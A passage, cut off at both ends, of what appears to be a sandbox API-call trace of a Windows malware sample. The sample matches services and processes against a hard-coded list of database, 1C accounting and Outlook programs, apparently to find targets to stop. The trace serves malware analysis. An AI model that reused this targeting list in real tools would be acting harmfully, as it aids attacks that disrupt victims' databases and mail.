(lpString="MMCSS") returned 5 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0086.324] lstrlenW (lpString="MpsSvc") returned 6 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0086.324] lstrlenW (lpString="nsi") returned 3 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0086.324] lstrlenW (lpString="PlugPlay") returned 8 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0086.324] lstrlenW (lpString="Power") returned 5 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0086.324] lstrlenW (lpString="ProfSvc") returned 7 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0086.324] lstrlenW (lpString="RpcEptMapper") returned 12 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0086.324] lstrlenW (lpString="RpcSs") returned 5 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0086.324] lstrlenW (lpString="SamSs") returned 5 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0086.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0086.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0086.324] lstrlenW (lpString="Schedule") returned 8 [0086.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0086.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0086.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0086.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0086.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0086.325] lstrlenW (lpString="SENS") returned 4 [0086.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0086.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0086.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0086.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0086.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0086.325] lstrlenW (lpString="ShellHWDetection") returned 16 [0086.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0086.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0086.325] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0086.325] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0086.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0086.325] lstrlenW (lpString="Spooler") returned 7 [0086.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0086.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0086.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0086.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0086.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0086.325] lstrlenW (lpString="Themes") returned 6 [0086.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0086.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0086.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0086.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0086.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0086.325] lstrlenW (lpString="UxSms") returned 5 [0086.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0086.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0086.325] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0086.325] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0086.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0086.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e870 | out: hHeap=0x4f0000) returned 1 [0086.325] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c [0086.339] Process32FirstW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.339] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0086.339] lstrlenW (lpString="System") returned 6 [0086.339] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0086.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0086.339] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0086.339] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0086.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0086.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0086.339] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0086.339] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0086.340] lstrlenW (lpString="smss.exe") returned 8 [0086.340] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0086.340] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.340] lstrlenW (lpString="csrss.exe") returned 9 [0086.340] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0086.340] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0086.340] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0086.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0086.340] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0086.340] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0086.340] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0086.340] lstrlenW (lpString="wininit.exe") returned 11 [0086.340] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0086.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0086.340] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0086.340] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0086.341] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0086.341] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0086.341] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0086.341] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.341] lstrlenW (lpString="csrss.exe") returned 9 [0086.341] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0086.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0086.341] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0086.341] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0086.341] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0086.341] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0086.341] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0086.341] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0086.341] lstrlenW (lpString="winlogon.exe") returned 12 [0086.341] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0086.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0086.341] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0086.341] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0086.341] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0086.341] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0086.341] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0086.341] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0086.342] lstrlenW (lpString="services.exe") returned 12 [0086.342] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0086.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0086.342] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0086.342] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0086.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0086.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0086.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0086.342] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0086.342] lstrlenW (lpString="lsass.exe") returned 9 [0086.342] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0086.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0086.342] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0086.342] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0086.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0086.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0086.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0086.342] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0086.342] lstrlenW (lpString="lsm.exe") returned 7 [0086.343] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0086.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0086.343] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0086.343] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0086.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0086.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0086.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0086.343] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.343] lstrlenW (lpString="svchost.exe") returned 11 [0086.343] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0086.343] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.343] lstrlenW (lpString="svchost.exe") returned 11 [0086.343] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0086.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0086.344] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.344] lstrlenW (lpString="svchost.exe") returned 11 [0086.344] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0086.344] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.344] lstrlenW (lpString="svchost.exe") returned 11 [0086.344] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0086.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0086.344] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.345] lstrlenW (lpString="svchost.exe") returned 11 [0086.345] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0086.345] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0086.345] lstrlenW (lpString="audiodg.exe") returned 11 [0086.345] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0086.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0086.345] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0086.345] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0086.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0086.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0086.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0086.345] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.345] lstrlenW (lpString="svchost.exe") returned 11 [0086.345] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0086.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0086.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0086.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0086.346] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.346] lstrlenW (lpString="svchost.exe") returned 11 [0086.346] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0086.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0086.346] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0086.346] lstrlenW (lpString="userinit.exe") returned 12 [0086.346] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0086.346] lstrlenW (lpString="dwm.exe") returned 7 [0086.346] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0086.347] lstrlenW (lpString="explorer.exe") returned 12 [0086.347] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0086.347] lstrlenW (lpString="spoolsv.exe") returned 11 [0086.347] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0086.347] lstrlenW (lpString="taskhost.exe") returned 12 [0086.347] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.348] lstrlenW (lpString="svchost.exe") returned 11 [0086.348] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0086.348] lstrlenW (lpString="payload.exe") returned 11 [0086.348] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0086.348] lstrlenW (lpString="reader_sl.exe") returned 13 [0086.348] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0086.348] lstrlenW (lpString="cmd.exe") returned 7 [0086.348] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0086.348] lstrlenW (lpString="dllhost.exe") returned 11 [0086.349] Process32NextW (in: hSnapshot=0x11c, lppe=0x21dfd34 | out: 